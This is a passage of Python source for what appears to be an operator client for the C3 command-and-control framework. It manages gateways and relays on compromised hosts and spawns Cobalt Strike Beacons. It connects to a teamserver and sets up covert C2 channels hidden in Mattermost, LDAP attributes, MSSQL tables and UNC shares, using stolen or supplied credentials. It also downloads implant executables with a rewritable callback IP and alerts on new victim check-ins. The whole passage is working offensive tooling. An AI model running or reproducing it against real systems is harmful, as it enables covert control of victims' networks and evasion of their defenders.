print(f'[.] Closing relay {relay["name"]} (in gateway: {gateway["name"]}).')
closeRelay(gateway, relay)
def closePeripheral(gateway, relay, peripheralName, peripheralId):
data = {
"name" : "PeripheralCommandGroup",
"data" : {
"id" : commandsMap['Close'],
"name" : peripheralName,
"command" : "Close",
"arguments" : []
}
}
Logger.dbg(f'Closing peripheral {peripheralName} (id: {peripheralId}). with following parameters:\n\n' + json.dumps(data, indent = 4))
ret = postRequest(f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/peripheral/{peripheralId}/command', data, rawResp = True)
if ret.status_code == 201:
print(f'[+] Peripheral {peripheralName} id:{peripheralId} was closed.')
else:
print(f'[-] Peripheral {peripheralName} id:{peripheralId} was not closed: ({ret.status_code}) {ret.text}')
def closeChannel(channel, channelToClose):
chanId = ''
if 'channelId' in channel.keys(): chanId = channel['channelId']
elif 'channel_id' in channel.keys(): chanId = channel['channel_id']
elif 'iid' in channel.keys(): chanId = channel['iid']
data = {
"name" : "ChannelCommandGroup",
"data" : {
"id" : commandsMap['Close'],
"name" : channelToClose,
"command" : "Close",
"arguments" : []
}
}
Logger.dbg(f'Closing {channelToClose} channel (id: {chanId}). with following parameters:\n\n' + json.dumps(data, indent = 4))
ret = postRequest(channel["url"], data, rawResp = True)
if ret.status_code == 201:
print(f'[+] Channel {channelToClose} (id: {chanId}) was closed.')
else:
print(f'[-] Channel {channelToClose} (id: {chanId}) was not closed: ({ret.status_code}) {ret.text}')
def closeNetwork(gateway):
data = {
"name":"GatewayCommandGroup",
"data":{
"id":commandsMap['ClearNetwork'],
"name":"Command",
"command":"ClearNetwork",
"arguments": [
{
"type":"boolean",
"name":"Are you sure?",
"value": True
}
]
}
}
Logger.dbg(f'Closing gateway {gateway["name"]} with following parameters:\n\n' + json.dumps(data, indent = 4))
ret = postRequest(f'/api/gateway/{gateway["agentId"]}/command', data, rawResp = True)
if ret.status_code == 201:
print(f'[+] Network on gateway {gateway["name"]} (id: {gateway["agentId"]}) was cleared.')
else:
print(f'[-] Network on gateway {gateway["name"]} (id: {gateway["agentId"]}) was not cleared: ({ret.status_code}) {ret.text}')
def onCloseNetwork(args):
gateways = getRequest(f'/api/gateway')
for _gateway in gateways:
gateway = getRequest(f'/api/gateway/{_gateway["agentId"]}')
if gateway['name'].lower() == args.gateway_id.lower() or gateway['agentId'] == args.gateway_id.lower():
closeNetwork(gateway)
def onCloseChannel(args):
gateways = getRequest('/api/gateway')
channelsToClose = []
for _gateway in gateways:
if len(args.gateway_id) > 0:
if _gateway["agentId"].lower() != args.gateway_id.lower() and _gateway["name"].lower() != args.gateway_id.lower():
continue
gateway = getRequest(f'/api/gateway/{_gateway["agentId"]}')
capability = processCapability(gateway)
if len(args.gateway_id) > 0:
if gateway["agentId"].lower() == args.agent_id.lower() or gateway["name"].lower() == args.agent_id.lower():
for channel in gateway['channels']:
name = getDeviceName(gateway, 'channels', channel['type'])
if len(args.channel_id) == 0 or (name.lower() == args.channel_id.lower() or channel['iid'] == args.channel_id):
_type = 'non-negotiation'
if 'isReturnChannel' in channel.keys() and channel['isReturnChannel']: _type = 'grc'
elif 'isNegotiationChannel' in channel.keys() and channel['isNegotiationChannel']: _type = 'negotiation'
channelsToClose.append({
'url' : f'/api/gateway/{_gateway["agentId"]}/relay/{relay["agentId"]}/channel/{channel["iid"]}/command',
'name' : name,
'iid' : channel['iid'],
'agent' : relay,
'type' : _type,
'kind' : 'Relay',
})
for relay in gateway['relays']:
if relay["agentId"].lower() != args.agent_id.lower() and relay["name"].lower() != args.agent_id.lower():
continue
for channel in relay['channels']:
name = getDeviceName(gateway, 'channels', channel['type'])
if len(args.channel_id) == 0 or (name.lower() == args.channel_id.lower() or channel['iid'] == args.channel_id):
_type = 'non-negotiation'
if 'isReturnChannel' in channel.keys() and channel['isReturnChannel']: _type = 'grc'
elif 'isNegotiationChannel' in channel.keys() and channel['isNegotiationChannel']: _type = 'negotiation'
channelsToClose.append({
'url' : f'/api/gateway/{_gateway["agentId"]}/relay/{relay["agentId"]}/channel/{channel["iid"]}/command',
'name' : name,
'iid' : channel['iid'],
'agent' : relay,
'type' : _type,
'kind' : 'Relay',
})
if len(channelsToClose) == 0:
Logger.fatal('Could not find channels that should have been closed. Try changing search criteria.')
for channel in channelsToClose:
if channel['type'] == 'grc' and not args.close_grc: continue
closeChannel(channel, channel['name'])
def onMattermostCreate(args):
server_url = args.server_url
if server_url.endswith('/'): server_url = server_url[:-1]
gateway, relay = findAgent(args.agent_id)
if not relay and not gateway:
logger.fatal('Could not find agent (Gateway or Relay) which should be used to setup a channel.')
url = f'/api/gateway/{gateway["agentId"]}/command'
if relay != None:
url = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command'
print(f'[.] Will setup a Mattermost channel on a Relay named {relay["name"]} ({relay["agentId"]})')
else:
print(f'[.] Will setup a Mattermost channel on a Gateway named {gateway["name"]} ({gateway["agentId"]})')
secondCommandId = getCommandIdMapping(gateway, 'AddNegotiationChannelMattermost')
commandId = getLastGatewayCommandID()
Logger.info(f'Issuing a command with ID = {commandId}')
data = {
"name" : "GatewayCommandGroup",
"data" : {
"arguments" : [
{
"type" : "string",
"name" : "Negotiation Identifier",
"value" : getValueOrRandom(args.negotiation_id),
},
{
"type" : "string",
"name" : "Mattermost Server URL",
"value" : server_url,
},
{
"type" : "string",
"name" : "Mattermost Team Name",
"value" : args.team_name
},
{
"type" : "string",
"name" : "Mattermost Access Token",
"value" : args.access_token,
},
{
"type" : "string",
"name" : "Channel name",
"value" : getValueOrRandom(args.channel_name),
},
{
"type" : "string",
"name" : "User-Agent Header",
"value" : args.user_agent,
}
],
"command" : "AddNegotiationChannelMattermost",
"id" : secondCommandId,
"name" : "Command",
},
'name' : 'GatewayCommandGroup'
}
Logger.dbg('Will create Mattermost channel with following parameters:\n\n' + json.dumps(data, indent = 4))
ret = postRequest(url, data, rawResp = True)
if ret.status_code == 201:
print('[+] Channel was created.')
else:
print(f'[-] Channel was not created: ({ret.status_code}) {ret.text}')
def onLDAPCreate(args):
gateway, relay = findAgent(args.agent_id)
if not relay and not gateway:
logger.fatal('Could not find agent (Gateway or Relay) which should be used to setup a channel.')
url = f'/api/gateway/{gateway["agentId"]}/command'
if relay != None:
url = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command'
print(f'[.] Will setup a LDAP channel on a Relay named {relay["name"]} ({relay["agentId"]})')
else:
print(f'[.] Will setup a LDAP channel on a Gateway named {gateway["name"]} ({gateway["agentId"]})')
secondCommandId = getCommandIdMapping(gateway, 'AddNegotiationChannelLDAP')
commandId = getLastGatewayCommandID()
Logger.info(f'Issuing a command with ID = {commandId}')
data = {
"data" : {
"arguments" : [
{
"type" : "string",
"name" : "Negotiation Identifier",
"value" : getValueOrRandom(args.negotiation_id),
},
{
"type" : "string",
"name" : "Data LDAP Attribute",
"value" : args.data_attribute,
},
{
"type" : "string",
"name" : "Lock LDAP Attribute",
"value" : args.lock_attribute
},
{
"type" : "uint32",
"name" : "Max Packet Size",
"value" : args.max_size,
},
{
"type" : "string",
"name" : "Domain Controller",
"value" : args.domain_controller,
},
{
"type" : "string",
"name" : "Username",
"value" : args.username,
},
{
"type" : "string",
"name" : "Password",
"value" : args.password,
},
{
"type" : "string",
"name" : "User DN",
"value" : args.user_dn,
}
],
"command" : "AddNegotiationChannelLDAP",
"id" : secondCommandId,
"name" : "Command",
},
'name' : 'GatewayCommandGroup'
}
Logger.dbg('Will create LDAP channel with following parameters:\n\n' + json.dumps(data, indent = 4))
ret = postRequest(url, data, rawResp = True)
if ret.status_code == 201:
print('[+] Channel was created.')
else:
print(f'[-] Channel was not created: ({ret.status_code}) {ret.text}')
def onUncShareFileCreate(args):
gateway, relay = findAgent(args.agent_id)
if not relay and not gateway:
logger.fatal('Could not find agent (Gateway or Relay) which should be used to setup a channel.')
url = f'/api/gateway/{gateway["agentId"]}/command'
if relay != None:
url = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command'
print(f'[.] Will setup a UncShareFile channel on a Relay named {relay["name"]} ({relay["agentId"]})')
else:
print(f'[.] Will setup a UncShareFile channel on a Gateway named {gateway["name"]} ({gateway["agentId"]})')
secondCommandId = getCommandIdMapping(gateway, 'AddNegotiationChannelUncShareFile')
commandId = getLastGatewayCommandID()
Logger.info(f'Issuing a command with ID = {commandId}')
data = {
"data" : {
"arguments" : [
{
"type" : "string",
"name" : "Negotiation Identifier",
"value" : getValueOrRandom(args.negotiation_id),
},
{
"type" : "string",
"name" : "Filesystem path",
"value" : args.filesystem_path,
},
{
"type" : "boolean",
"name" : "Clear",
"value" : args.clear,
}
],
"command" : "AddNegotiationChannelUncShareFile",
"id" : secondCommandId,
"name" : "Command",
},
'name' : 'GatewayCommandGroup'
}
Logger.dbg('Will create UncShareFile channel with following parameters:\n\n' + json.dumps(data, indent = 4))
ret = postRequest(url, data, rawResp = True)
if ret.status_code == 201:
print('[+] Channel was created.')
else:
print(f'[-] Channel was not created: ({ret.status_code}) {ret.text}')
def onMSSQLCreate(args):
gateway, relay = findAgent(args.agent_id)
if not relay and not gateway:
logger.fatal('Could not find agent (Gateway or Relay) which should be used to setup a channel.')
url = f'/api/gateway/{gateway["agentId"]}/command'
if relay != None:
url = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command'
print(f'[.] Will setup a MSSQL channel on a Relay named {relay["name"]} ({relay["agentId"]})')
else:
print(f'[.] Will setup a MSSQL channel on a Gateway named {gateway["name"]} ({gateway["agentId"]})')
secondCommandId = getCommandIdMapping(gateway, 'AddNegotiationChannelMSSQL')
commandId = getLastGatewayCommandID()
Logger.info(f'Issuing a command with ID = {commandId}')
data = {
"data" : {
"arguments" : [
{
"type" : "string",
"name" : "Negotiation Identifier",
"value" : getValueOrRandom(args.negotiation_id),
},
{
"type" : "string",
"name" : "Server Name",
"value" : args.server_name,
},
{
"type" : "string",
"name" : "Database Name",
"value" : args.database_name
},
{
"type" : "string",
"name" : "Table Name",
"value" : args.table_name,
},
{
"type" : "string",
"name" : "Username",
"value" : args.username,
},
{
"type" : "string",
"name" : "Password",
"value" : args.password,
},
{
"type" : "boolean",
"name" : "Use Integrated Security (SSPI) - use for domain joined accounts",
"value" : args.sspi,
}
],
"command" : "AddNegotiationChannelMSSQL",
"id" : secondCommandId,
"name" : "Command",
},
'name' : 'GatewayCommandGroup'
}
Logger.dbg('Will create MSSQL channel with following parameters:\n\n' + json.dumps(data, indent = 4))
ret = postRequest(url, data, rawResp = True)
if ret.status_code == 201:
print('[+] Channel was created.')
else:
print(f'[-] Channel was not created: ({ret.status_code}) {ret.text}')
def onSpawnBeacon(args):
relays = collectRelays(args)
if len(relays) == 0:
logger.fatal('Could not find Relay to be used to spawn a Beacon.')
for gateway, relay in relays:
secondCommandId = getCommandIdMapping(gateway, 'AddPeripheralBeacon')
commandId = getLastGatewayCommandID()
Logger.info(f'Issuing a command with ID = {commandId}')
data = {
"name" : "RelayCommandGroup",
"data" : {
"arguments" : [
{
"type" : "string",
"name" : "Pipe Name",
"value" : getValueOrRandom(args.pipe_name),
},
{
"type" : "int16",
"name" : "Connection trials",
"value" : args.trials,
},
{
"type" : "int16",
"name" : "Trials delay",
"value" : args.delay
}
],
"command" : "AddPeripheralBeacon",
"id" : secondCommandId,
"name" : "Command",
},
}
Logger.dbg('Will spawn Beacon with following parameters:\n\n' + json.dumps(data, indent = 4))
print(f'[+] Spawning Beacon on relay: {relay["name"]} (id: {relay["agentId"]}) on gateway {gateway["name"]}')
ret = postRequest(f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command', data, rawResp = True)
if ret.status_code == 201:
print('[+] Beacon was spawned.')
else:
print(f'[-] Beacon could not be spawned: ({ret.status_code}) {ret.text}')
def onTurnOnTeamserver(args):
gateways = getRequest(f'/api/gateway')
gateway = None
for _gateway in gateways:
g = getRequest(f'/api/gateway/{_gateway["agentId"]}')
if g['name'].lower() == args.gateway_id.lower() or g['agentId'] == args.gateway_id.lower():
gateway = g
break
if not gateway:
Logger.fatal(f'Could not find Gateway with specified gateway_id: {args.gateway_id}')
commandId = getCommandIdMapping(gateway, "TurnOnConnectorTeamServer")
data = {
"name":"GatewayCommandGroup",
"data": {
"id":commandId,
"name":"Command",
"command":"TurnOnConnectorTeamServer",
"arguments": [
{
"type":"ip",
"name":"Address",
"value":args.address
},
{
"type":"uint16",
"name":"Port",
"value":args.port
}
]
}
}
Logger.dbg(f'Will Turn On connector TeamServer on gateway {gateway["name"]} with following parameters:\n\n' + json.dumps(data, indent = 4))
ret = postRequest(f'/api/gateway/{gateway["agentId"]}/command', data, rawResp = True)
if ret.status_code == 201:
print('[+] Connection with Teamserver established.')
else:
print(f'[-] Could not establish connection with Teamserver: ({ret.status_code}) {ret.text}')
def onTurnOffConnector(args):
gateways = getRequest(f'/api/gateway')
gateway = None
for _gateway in gateways:
g = getRequest(f'/api/gateway/{_gateway["agentId"]}')
if g['name'].lower() == args.gateway_id.lower() or g['agentId'] == args.gateway_id.lower():
gateway = g
break
if not gateway:
Logger.fatal(f'Could not find Gateway with specified gateway_id: {args.gateway_id}')
data = {
"name":"PeripheralCommandGroup",
"data": {
"id":commandsMap['Close'],
"name":"TeamServer",
"command":"TurnOff",
"arguments": []
}
}
Logger.dbg(f'Will Turn Off connector TeamServer on gateway {gateway["name"]} with following parameters:\n\n' + json.dumps(data, indent = 4))
ret = postRequest(f'/api/gateway/{gateway["agentId"]}/connector/{args.connector_id}/command', data, rawResp = True)
if ret.status_code == 201:
print('[+] Closed connection with Connector.')
else:
print(f'[-] Could not close connection with connector: ({ret.status_code}) {ret.text}')
def onDownloadGateway(args):
gateway_name = getValueOrRandom(args.gateway_name)
_format = 'exe'
arch = 'x64'
if args.format.lower().startswith('dll'): _format = 'dll'
if args.format.lower().endswith('86'): _format = 'x86'
print(f'[.] Downloading gateway executable in format {args.format} with name: {gateway_name}')
url = f'/api/gateway/{_format}/{arch}?name={gateway_name}'
output = getRequest(url, True, stream = True)
data = output.content
if len(args.override_ip) > 0:
data2 = io.BytesIO()
with zipfile.ZipFile(io.BytesIO(data), 'r') as f:
with zipfile.ZipFile(data2, 'w') as g:
for i in f.infolist():
buf = f.read(i.filename)
if i.filename.lower().endswith('.json'):
conf = json.loads(buf)
conf['API Bridge IP'] = args.override_ip
buf = json.dumps(conf, indent=4)
print(f'[.] Overidden stored in JSON configuration IP address to: {args.override_ip}')
g.writestr(i.filename, buf)
data = data2.getvalue()
if args.extract:
with zipfile.ZipFile(io.BytesIO(data), 'r') as f:
for i in f.infolist():
outp = os.path.join(args.outfile, os.path.basename(i.filename))
with open(outp, 'wb') as g:
g.write(f.read(i.filename))
print('[+] Gateway ZIP package downloaded & extracted.')
else:
with open(args.outfile, 'wb') as f:
f.write(data)
print('[+] Gateway ZIP package downloaded.')
def parseArgs(argv):
global config
usage = '\nUsage: ./c3-client.py [options] <host> <command> [...]\n'
opts = argparse.ArgumentParser(
prog = argv[0],
usage = usage
)
opts.add_argument('host', help = 'C3 Web API host:port')
opts.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
opts.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
opts.add_argument('-f', '--format', choices=['json', 'text'], default='text', help='Output format. Can be JSON or text (default).')
opts.add_argument('-n', '--dry-run', action='store_true', help='Do not send any HTTP POST request that could introduce changes in C3 network.')
opts.add_argument('-A', '--httpauth', metavar = 'user:pass', default='', help = 'HTTP Basic Authentication (user:pass)')
subparsers = opts.add_subparsers(help = 'command help', required = True)
#
# Alarm
#
alarm = subparsers.add_parser('alarm', help = 'Alarm options')
alarm_sub = alarm.add_subparsers(help = 'Alarm on what?', required = True)
alarm_relay = alarm_sub.add_parser('relay', help = 'Trigger an alarm whenever a new Relay checks-in.')
alarm_relay.add_argument('-e', '--execute', action='append', default=[], help = 'If new Relay checks in - execute this command. Use following placeholders in your command: <computerName>, <userName>, <domain>, <isElevated>, <osVersion>, <processId>, <relayName>, <relayId>, <buildId>, <gatewayId>, <gatewayName>, <timestamp> to customize executed command\'s parameters. Example: powershell -c "Add-Type -AssemblyName System.Speech; $synth = New-Object -TypeName System.Speech.Synthesis.SpeechSynthesizer; $synth.Speak(\'New Relay just checked-in <domain>/<userName>@<computerName>\')"')
alarm_relay.add_argument('-x', '--webhook', action='append', default=[], help = 'Trigger a Webhook (HTTP POST request) to this URL whenever a new Relay checks-in. The request will contain JSON message with all the fields available, mentioned in --execute option.')
alarm_relay.add_argument('-g', '--gateway-id', metavar='gateway_id', default='', help = 'ID (or Name) of the Gateway which Relays should be returned. If not given, will result all relays from all gateways.')
alarm_relay.add_argument('-D', '--delay', metavar = 'delay', type=int, default=10, help = 'New relays polling delay-time. Will poll new relays every N seconds. Setting this too low may impact Gateway\'s performance. Default: 10 seconds.')
alarm_relay.add_argument('-E', '--command-delay', metavar = 'command_delay', type=int, default=5, help = 'Delay before running a command/triggering a webhook (and between consecutive commands/webhooks). Default: 5 seconds')
alarm_relay.set_defaults(func = onAlarmRelay)
#
# Download
#
download = subparsers.add_parser('download', help = 'Download options')
download_sub = download.add_subparsers(help = 'Download what?', required = True)
download_gateway = download_sub.add_parser('gateway', help = 'Download gateway')
download_gateway.add_argument('-x', '--extract', action='store_true', help = 'Consider outfile as directory path. Then extract downloaded ZIP file with gateway into that directory.')
download_gateway.add_argument('-F', '--format', choices=['exe86', 'exe64', 'dll86', 'dll64'], default='exe64', help = 'Gateway executable format. <format><arch>. Formats: exe, dll. Archs: 86, 64. Default: exe64')
download_gateway.add_argument('-G', '--gateway-name', metavar='GATEWAY_NAME', default='random', help = 'Name of the Gateway. Default: random name')
download_gateway.add_argument('-O', '--override-ip', metavar='IP', default='', help = 'Override gateway configuration IP stored in JSON. By default will use 0.0.0.0')
download_gateway.add_argument('outfile', metavar='outfile', help = 'Where to save output file.')
download_gateway.set_defaults(func = onDownloadGateway)
#
# List
#
parser_list = subparsers.add_parser('list', help = 'List options')
parser_list_sub = parser_list.add_subparsers(help = 'List what?', required = True)
list_gateways = parser_list_sub.add_parser('gateways', help = 'List available gateways.')
list_gateways.add_argument('-a', '--active', action='store_true', help = 'List only active gateways')
list_gateways.set_defaults(func = onListGateways)
list_relays = parser_list_sub.add_parser('relays', help = 'List available relays.')
list_relays.set_defaults(func = onListRelays)
list_relays.add_argument('-a', '--active', action='store_true', help = 'List only active relays')
list_relays.add_argument('-g', '--gateway-id', metavar='gateway_id', default='', help = 'ID (or Name) of the Gateway which Relays should be returned. If not given, will result all relays from all gateways.')
#
# Get
#
parser_get = subparsers.add_parser('get', help = 'Get options')
parser_get_sub = parser_get.add_subparsers(help = 'Get what?', required = True)
get_gateway = parser_get_sub.add_parser('gateway', help = 'Get gateway\'s data.')
get_gateway.set_defaults(func = onGetGateway)
get_gateway.add_argument('name', help = 'Gateway Name or ID')
get_relay = parser_get_sub.add_parser('relay', help = 'Get relay\'s data.')
get_relay.set_defaults(func = onGetRelay)
get_relay.add_argument('name', help = 'Relay Name or ID')
get_relay.add_argument('-g', '--gateway-id', metavar='gateway_id', default='', help = 'ID (or Name) of the Gateway runs specified Relay. If not given, will return all relays matching criteria from all gateways.')
#
# Ping
#
parser_ping = subparsers.add_parser('ping', help = 'Ping Relays')
parser_ping.add_argument('-r', '--relay-id', default='', help = 'Specifies which Relay should be pinged. Can be its ID or name.')
parser_ping.add_argument('-g', '--gateway-id', default='', metavar='gateway_id', help = 'ID (or Name) of the Gateway which Relays should be pinged. If not given, will ping all relays in all gateways.')
parser_ping.add_argument('-k', '--keep-pinging', metavar='delay', type=int, default=0, help = 'Keep pinging choosen Relays. Will send a ping every "delay" number of seconds. Default: sends ping only once.')
parser_ping.set_defaults(func = onPing)
#
# Jitter
#
parser_jitter = subparsers.add_parser('jitter', help = 'Set Update Jitter on a channel')
parser_jitter.add_argument('min_jitter', type=float, help = 'Min Jitter in seconds to set (float value)')
parser_jitter.add_argument('max_jitter', type=float, help = 'Max Jitter in seconds to set (float value)')
parser_jitter.add_argument('-c', '--channel-id', default='', help = 'Specifies ID (or Name) of the channel to commander. If not given - will issue specified command to all channels in a Relay. If name is given, will update Jitter on all Channels with that name.')
parser_jitter.add_argument('-r', '--relay-id', default='', help = 'Specifies which Relay should be pinged. Can be its ID or name.')
parser_jitter.add_argument('-g', '--gateway-id', default='', metavar='gateway_id', help = 'ID (or Name) of the Gateway which Relays should be pinged. If not given, will ping all relays in all gateways.')
parser_jitter.set_defaults(func = onJitter)
#
# Spawn
#
parser_spawn = subparsers.add_parser('spawn', help = 'Spawn implant options')
parser_spawn_sub = parser_spawn.add_subparsers(help = 'What to spawn?', required = True)
### Beacon
beacon = parser_spawn_sub.add_parser('beacon', help = 'Spawn new Cobalt Strike Beacon.')
beacon.add_argument('relay_id', metavar = 'relay_id', help = 'Relay in which to spawn Beacon. Can be ID or Name.')
beacon.add_argument('--pipe-name', metavar = 'pipe_name', default='random', help = 'Beacon Pipe name. Default: random')
beacon.add_argument('--trials', metavar = 'trials', type=int, default=10, help = 'Beacon connection trials. Default: 10')
beacon.add_argument('--delay', metavar = 'delay', type=int, default=1000, help = 'Beacon connection delay. Default: 1000')
beacon.add_argument('-g', '--gateway-id', metavar='gateway_id', default='', help = 'ID (or Name) of the Gateway runs specified Relay. If not given, will return all relays matching criteria from all gateways.')
beacon.set_defaults(func = onSpawnBeacon)
#
# Connector
#
parser_connector = subparsers.add_parser('connector', help = 'Connector options')
parser_connector.add_argument('gateway_id', metavar = 'gateway_id', help = 'Gateway which should be used to manage its connectors.')
parser_connector_sub = parser_connector.add_subparsers(help = 'What to do about that Connector?', required = True)
## turnon
connector_turnon = parser_connector_sub.add_parser('turnon', help = 'Turn on connector (connects to a Teamserver, Covenant, etc).')
connector_turnon_sub = connector_turnon.add_subparsers(help = 'What kind of connector?', required = True)
### Teamserver
turnon_connector_teamserver = connector_turnon_sub.add_parser('teamserver', help = 'Teamserver connector specific options.')
turnon_connector_teamserver.add_argument('address', metavar = 'address', help = 'Teamserver externalC2 address')
turnon_connector_teamserver.add_argument('port', metavar = 'port', help = 'Teamserver externalC2 port')
turnon_connector_teamserver.set_defaults(func = onTurnOnTeamserver)
## turnoff
connector_turnoff = parser_connector_sub.add_parser('turnoff', help = 'Turn off connector (connects to a Teamserver, Covenant, etc).')
connector_turnoff.add_argument('connector_id', metavar = 'connector_id', help = 'Connector\'s ID that should be closed')
connector_turnoff.set_defaults(func = onTurnOffConnector)
#
# Close
#
parser_close = subparsers.add_parser('close', help = 'Close command.')
parser_close_sub = parser_close.add_subparsers(help = 'Close what?', required = True)
## Network
close_channel = parser_close_sub.add_parser('network', help = 'Close Network / ClearNetwork.')
close_channel.add_argument('gateway_id', metavar = 'gateway_id', help = 'Gateway which network is to be closed. Can be ID or Name.')
close_channel.set_defaults(func = onCloseNetwork)
## Channel
close_channel = parser_close_sub.add_parser('channel', help = 'Close a channel.')
close_channel.add_argument('agent_id', metavar = 'agent_id', help = 'Gateway or Relay that will be used to find a channel to close. Can be ID or Name.')
close_channel.add_argument('-G', '--close-grc', action='store_true', help = 'Close Gateway-Return Channel (Non-negotiation one) as well. By default the GRC channel (the one marked with violet icon) will not be closed to avoid losing connectivity with relay.')
close_channel.add_argument('-c', '--channel-id', default='', help = 'Specifies ID (or Name) of the channel to commander. If not given - will issue specified command to all channels in a Relay. If name is given, will update Jitter on all Channels with that name.')
close_channel.add_argument('-g', '--gateway-id', default='', metavar='gateway_id', help = 'ID (or Name) of the Gateway which Relays should be pinged. If not given, will ping all relays in all gateways.')
close_channel.set_defaults(func = onCloseChannel)
## Relay
close_channel = parser_close_sub.add_parser('relay', help = 'Close a Relay.')
close_channel.add_argument('relay_id', metavar = 'relay_id', help = 'Relay to be closed. Can be ID or Name.')
close_channel.add_argument('-g', '--gateway-id', default='', metavar='gateway_id', help = 'ID (or Name) of the Gateway runs specified Relay. If not given, will return all relays matching criteria from all gateways.')
close_channel.set_defaults(func = onCloseRelay)
#
# Channel
#
parser_channel = subparsers.add_parser('channel', help = 'Send Channel-specific command')
parser_channel.add_argument('-c', '--channel-id', default='', help = 'Specifies ID of the channel to commander. If not given - will issue specified command to all channels in a Relay.')
parser_channel.add_argument('-r', '--relay-id', default='', help = 'Specifies Relay that runs target channel. Can be its ID or name.')
parser_channel.add_argument('-g', '--gateway-id', default='', metavar='gateway_id', help = 'ID (or Name) of the Gateway which Relays should be pinged. If not given, will ping all relays in all gateways.')
parser_channel_sub = parser_channel.add_subparsers(help = 'Specify channel', required = True)
## All channels
all_channels = parser_channel_sub.add_parser('all', help = 'Commands that are common for all channels.')
all_channels_parser = all_channels.add_subparsers(help = 'Command to send', required = True)
### clear
all_channels_clear = all_channels_parser.add_parser('clear', help = 'Clear every channel\'s message queue.')
all_channels_clear.set_defaults(func = onAllChannelsClear)
## Mattermost
mattermost = parser_channel_sub.add_parser('mattermost', help = 'Mattermost channel specific commands.')
mattermost_parser = mattermost.add_subparsers(help = 'Command to send', required = True)
### Create
mattermost_create = mattermost_parser.add_parser('create', help = 'Setup a Mattermost Negotiation channel.')
mattermost_create.add_argument('agent_id', metavar = 'agent_id', help = 'Gateway or Relay that will be used to setup a channel. Can be ID or Name.')
mattermost_create.add_argument('server_url', metavar = 'server_url', help = 'Mattermost Server URL, example: http://192.168.0.100:8888')
mattermost_create.add_argument('team_name', metavar = 'team_name', help = 'Mattermost Team name where to create channels.')
mattermost_create.add_argument('access_token', metavar = 'access_token', help = 'Personal Access Token value.')
mattermost_create.add_argument('--negotiation-id', metavar = 'ID', default='random', help = 'Negotiation Identifier. Will be picked at random if left empty.')
mattermost_create.add_argument('--channel-name', metavar = 'CHANNEL', default='random', help = 'Channel name to create. Will be picked at random if left empty.')
mattermost_create.add_argument('--user-agent', metavar = 'USERAGENT', default='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36',
help = 'User-Agent string to use in HTTP requests.')
mattermost_create.set_defaults(func = onMattermostCreate)
### Purge
mattermost_purge = mattermost_parser.add_parser('clear', help = 'Purge all dangling posts/messages from Mattermost channel.')
mattermost_purge.set_defaults(func = onMattermostPurge)
## LDAP
ldap = parser_channel_sub.add_parser('ldap', help = 'LDAP channel specific commands.')
ldap_parser = ldap.add_subparsers(help = 'Command to send', required = True)
### clear
ldap_clear = ldap_parser.add_parser('clear', help = 'Clear LDAP attribute associated with that channel.')
ldap_clear.set_defaults(func = onLDAPClear)
### Create
ldap_create = ldap_parser.add_parser('create', help = 'Setup a LDAP Negotiation channel.')
ldap_create.add_argument('agent_id', metavar = 'agent_id', help = 'Gateway or Relay that will be used to setup a channel. Can be ID or Name.')
ldap_create.add_argument('--data-attribute', metavar = 'data_attribute', default = 'mSMQSignCertificates', help = 'Data LDAP Attribute. Default: mSMQSignCertificates')
ldap_create.add_argument('--lock-attribute', metavar = 'lock_attribute', default = 'primaryInternationalISDNNumber', help = 'Lock LDAP Attribute. Default: primaryInternationalISDNNumber')
ldap_create.add_argument('--max-size', metavar = 'max_size', default = 1047552, type = int, help = 'Max Packet Size. Default: 1047552')
ldap_create.add_argument('domain_controller', metavar = 'domain_controller', help = 'Domain Controller.')
ldap_create.add_argument('username', metavar = 'username', help = 'LDAP username.')
ldap_create.add_argument('password', metavar = 'password', help = 'LDAP password.')
ldap_create.add_argument('user_dn', metavar = 'user_dn', help = 'User Distinguished Name, example: CN=Jeff Smith,CN=users,DC=fabrikam,DC=com')
ldap_create.add_argument('--negotiation-id', metavar = 'ID', default='random', help = 'Negotiation Identifier. Will be picked at random if left empty.')
ldap_create.set_defaults(func = onLDAPCreate)
## MSSQL
mssql = parser_channel_sub.add_parser('mssql', help = 'MSSQL channel specific commands.')
mssql_parser = mssql.add_subparsers(help = 'Command to send', required = True)
### clear
mssql_clear = mssql_parser.add_parser('clear', help = 'Clear channel\'s DB Table.')
mssql_clear.set_defaults(func = onMSSQLClearTable)
### Create
mssql_create = mssql_parser.add_parser('create', help = 'Setup a MSSQL Negotiation channel.')
mssql_create.add_argument('agent_id', metavar = 'agent_id', help = 'Gateway or Relay that will be used to setup a channel. Can be ID or Name.')
mssql_create.add_argument('server_name', metavar = 'server_name', help = 'MSSQL Server name')
mssql_create.add_argument('database_name', metavar = 'database_name', help = 'Database Name.')
mssql_create.add_argument('table_name', metavar = 'table_name', help = 'Table Name.')
mssql_create.add_argument('username', metavar = 'username', help = 'Database username.')
mssql_create.add_argument('password', metavar = 'password', help = 'Database password.')
mssql_create.add_argument('sspi', metavar = 'sspi', type=bool, help = 'Use Integrated Security (SSPI) - use for domain joined accounts. Default: false.')
mssql_create.add_argument('--negotiation-id', metavar = 'ID', default='random', help = 'Negotiation Identifier. Will be picked at random if left empty.')
mssql_create.set_defaults(func = onMSSQLCreate)
## UncShareFile
unc = parser_channel_sub.add_parser('uncsharefile', help = 'UncShareFile channel specific commands.')
unc_parser = unc.add_subparsers(help = 'Command to send', required = True)
### clear
unc_clear = unc_parser.add_parser('clear', help = 'Clear all message files.')
unc_clear.set_defaults(func = onUncShareFileClear)
unc_create = unc_parser.add_parser('create', help = 'Setup a Mattermost Negotiation channel.')
unc_create.add_argument('agent_id', metavar = 'agent_id', help = 'Gateway or Relay that will be used to setup a channel. Can be ID or Name.')
unc_create.add_argument('filesystem_path', metavar = 'filesystem_path', help = 'Filesystem path')
unc_create.add_argument('--clear', type=bool, metavar = 'clear', default = False, help = 'Clear previous messages')
unc_create.add_argument('--negotiation-id', metavar = 'ID', default='random', help = 'Negotiation Identifier. Will be picked at random if left empty.')
unc_create.set_defaults(func = onUncShareFileCreate)
## Dropbox
